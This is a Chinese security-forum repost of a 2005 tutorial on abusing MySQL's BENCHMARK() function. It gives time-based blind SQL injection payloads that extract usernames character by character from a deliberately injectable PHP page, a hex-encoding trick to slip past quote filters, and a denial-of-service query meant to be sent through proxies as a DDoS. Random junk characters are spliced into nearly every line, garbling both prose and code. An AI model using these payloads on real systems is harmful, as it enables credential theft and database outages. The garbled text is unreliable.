中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
) Z! a" X+ B3 ]/ r本文作者:SuperHei. H4 E* }- ]8 E$ W# g! g6 t
文章性质:原创* W4 ]5 `9 Y' h# j$ Z! G* k
发布日期:2005-01-02
) \. O& m9 a6 f/ ]完成日期:2004-07-09
( _4 Y5 l% m$ t; e) U( q, h第一部, w& E( ?% [2 W/ o

* D* V' |/ J  w" X$ a利用时间推延进行注射---BENCHMARK函数在注射中的利用
, U. }7 U" r5 _2 d( X; M* {$ H! ?% Q6 w3 |, G5 X/ s; Y
一.前言/思路! T& ^; ]) I: M. S& B  Y. W/ m

" a& v' M- [" {/ w* H  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) E+ Q, w" W/ r- }% |9 _; U, R# @6 k- s$ B
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。: D, U* i; Z' l

" h4 P: V# x2 d% Q3 p, r" t二.关于BENCHMARK函数6 Q6 q- f' `3 n! @
) o5 O$ }3 g) c* w7 @
  在MySQL参考手册里可以看到如下描叙: $ n9 [* F% z# `$ D5 h; Q& n
5 T9 j+ I$ a; S
( C3 f. e! d  n' i+ i1 P. H6 b1 v
--------------------------------------------------------------------------------
5 _+ |; y" G0 W' O4 m1 f( D9 I' H+ Q6 I% X
BENCHMARK(count,expr) " x+ s  T8 ?+ Q8 ^. m+ I' v
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. T. f. q. q' u7 M2 nmysql> select BENCHMARK(1000000,encode("hello","goodbye")); : n9 z4 l3 ^. q% i  Y5 l: ?
+----------------------------------------------+ . [% ~8 E' D/ M2 l
| BENCHMARK(1000000,encode("hello","goodbye")) |
' p( n3 W. O+ ~4 `# B  G+----------------------------------------------+ ; P/ O" i0 I, s8 M* {9 S* V
| 0 | 5 O9 ]2 S, I( q& ^" V
+----------------------------------------------+ 7 @, q+ T1 G& ~+ W' C
1 row in set (4.74 sec)
1 q; |  N1 u( E2 X$ i" v% D
! v9 d% c4 f# n6 a% f) c* g报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。7 u& ~* t; Z8 E* f* N9 G

5 }* Y8 x, Q3 O  r" T4 c7 g
* ]4 X  E: }, t8 A7 B--------------------------------------------------------------------------------" K& [9 j$ h4 [4 b

0 n8 P& f6 o& `7 C+ U. R# Q6 y8 x  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, f7 W% n/ }3 f' }, B  m. h9 S" m+ B9 S5 W2 s- Y
mysql> select md5( 'test' ); 7 ]+ s: x3 K3 y( ~0 l
+----------------------------------+
. k9 t& D- Z4 @6 W5 }| md5( 'test' ) |
( S3 c) K' ~- E+----------------------------------+
# G. v) x" G, N5 ^! m( }| 098f6bcd4621d373cade4e832627b4f6 | ' L8 ~  ?) }3 Y& Y1 O
+----------------------------------+ 8 J; u* m. ?, d
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
2 f8 Y! [0 ?' e2 S% X
# O8 s( G' A6 a  K1 Fmysql> select benchmark( 500000, md5( 'test' ) ); ( Q$ q8 l" r2 m& c3 A
+------------------------------------+ : f/ y: `1 g) f; n
| benchmark( 500000, md5( 'test' ) ) |
0 B/ T0 h9 T  W1 T* m: _# w0 P+------------------------------------+ / g" q( F+ G! W4 D3 U( W
| 0 |
- U* B1 H( H1 e* e7 q: O9 w+------------------------------------+
/ F( R- s' E0 U1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' R7 _% A: }/ w: E6 H& j. B
# g1 I$ d* V9 p! [3 M) B2 E* i; x6 D( L0 S/ u' C# G
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! ^  G" N& _! s, {: i% u1 O- o. q: y0 q

$ o& _9 l5 H7 F" N7 ?三.具体例子
! M0 x) w. M1 p; q* Z
/ j; F2 O# p. Z( F) ]/ h  首先我们看个简单的php代码:+ w( z9 w9 g! W$ G7 w
# @1 y/ Q& R: K% X
< ?php $ {; `# f) J8 u# o  ?) H
$servername = "localhost"; 5 [' B3 y3 q# X5 {  X; @
$dbusername = "root"; " }* S" E5 w, s. f
$dbpassword = ""; 4 @, n, L8 }, H& K1 a0 \& d. A# }
$dbname = "injection"; : u, R* k9 M! f0 q# H
1 W, O) ]: U6 f# Z% x
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ( Y, O3 l' K$ h9 w
; T2 t7 x. ?6 b2 V
$sql = "SELECT * FROM article WHERE articleid=$id";
- t6 `. {/ s4 |/ {$result = mysql_db_query($dbname,$sql);
) _! k. H  G+ E; y% K$row = mysql_fetch_array($result); 7 H7 l  O- }* p

/ w+ G+ N" b1 [7 [, ^if (!$row) : p* P- x# s4 a) n7 V' U! B
{ / M/ K" h6 z$ F/ e3 E
exit; * p- L+ e  d7 R+ U& V: e
} 5 f! w/ e1 x! P+ z2 Q
?>8 J: D  I0 G% {* S! V
  ]/ [: X9 C, {

2 m# [4 g, A/ E$ i  数据库injection结构和内容如下:2 F. b# b. `. n

+ Y9 Y  K4 }) n- b% B# v9 O$ W+ v+ Y# 数据库 : `injection` 8 r2 z2 E" v0 E, T) e
# 5 \' @  `+ n* ?' P
/ ?" t0 Z$ C% P- x5 E) e
# -------------------------------------------------------- : k; \$ a8 ^5 v6 G

5 l9 t/ G1 }! q* }4 P# 0 a, f6 M) n: [
# 表的结构 `article` 5 K; |" Y! {9 q6 k
# 5 _* [' h1 s( ~: s+ f4 d% h% f. @

) D# g/ o- }5 ?- g7 _7 J3 ACREATE TABLE `article` (
' K5 k' [2 |+ H5 w, x0 Q$ x0 E`articleid` int(11) NOT NULL auto_increment, 5 S4 N0 d: T5 p4 O; Z
`title` varchar(100) NOT NULL default '',
* N) G' B) m1 q+ r0 R: R( [`content` text NOT NULL, ! d1 m! U) r; O/ R3 [- b7 M
PRIMARY KEY (`articleid`)
8 \. \, q7 h$ }1 m, Y3 b2 s) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 o( X) G5 i1 E$ y5 N" M; h6 t3 t6 q- }  A1 B* {. u8 u
# ! T, t/ ?7 _- @, M! v0 D
# 导出表中的数据 `article`
8 Q- z( o$ ~% m1 x9 {+ B#
# u* k- C! l  u/ ]1 G
$ k$ X7 y8 \6 a% }: M6 q/ HINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( r; }8 D: L; M  f6 ^+ `
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * P/ M% s9 D( B8 z
" K( G6 K5 |. Q; x/ k1 g
# -------------------------------------------------------- ! ]$ T) C8 ?' ]4 J/ v

$ y! c% T) i/ m7 p' r& x# " p# A" U( d0 C& J. v/ p1 r. I
# 表的结构 `user`
( u0 C1 e+ o9 S4 g# 8 H; ]# X+ \/ f( Y1 ^
4 s) y) o$ ]* X3 z& Q& u
CREATE TABLE `user` ( 1 k1 u% r6 b; n: `% N
`userid` int(11) NOT NULL auto_increment,
% z6 W2 d* y6 |. x% j`username` varchar(20) NOT NULL default '',
2 @+ ^6 j; \* V`password` varchar(20) NOT NULL default '',
0 Z( m  E$ t8 \7 F( |! r6 o) WPRIMARY KEY (`userid`)
. }5 m! [0 i% A0 \) a; r2 _) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 I2 ?% k* B, g2 K$ |0 _; P9 r# F+ P; H/ ^
#
9 h: N( N. i' V$ S9 R5 p: r% h# 导出表中的数据 `user` 1 ?' f+ B$ ^% V+ n3 h% J' X4 O8 J
#   Q9 q; B. V' n- e, Z
5 G, k" A- k" l  n3 [
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % i6 k, z  v/ I. g3 }0 K( E
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
! j9 a& l  U" f! E 9 H, N* I+ ?2 c/ X& j+ R8 v7 h" g

4 G4 f8 N& s; S1 S0 l  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:4 X9 A* f$ a% _8 d* T0 s

& r; G' m% `$ O1 g' `id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
! u4 K( j! i$ }, o$ @9 s8 k
3 ?5 `+ j) t3 y7 d. Y- K1 ?) A' v% s2 e0 h6 x
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:. Z9 k4 G" R2 m
$ w3 R' \8 b' [
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*% K4 U& [* f7 [0 F( @$ p* W  T
9 v  {4 n) |$ v0 Y; P0 Z
1 u# ?3 i( r" W
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
  z& C' z1 W) y, ^
$ X' {4 Y+ ~9 n* p- Q+ }$ o  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 # z5 q9 G  q; ~2 ~

8 n, v' Q4 o& S# k: C  M/ T% j第二部
  V4 c  m4 N, o/ h$ o5 V7 x* t1 T9 a- Z
利用BENCHMARK函数进行ddos攻击 9 c3 L* ]) V6 e6 y2 q
" f4 N; i. G8 n, r
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
7 X1 N: w9 q/ c, u. N- {  j! B4 f8 X( `# V+ K! _& M
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
/ [! E2 Z1 n$ b( ? / ^; K3 s8 K9 {0 H7 a

0 x! |! J; a/ @/ Q& o) g3 h小结
4 {/ y0 x) G  `+ A# V7 ~
% D7 |$ [. V& E5 n$ t8 `  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 i/ c- q. I, k
1 z+ E  y$ z( I/ A/ c) z4 F  
2 k" z* }; v; e$ C# v' G




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2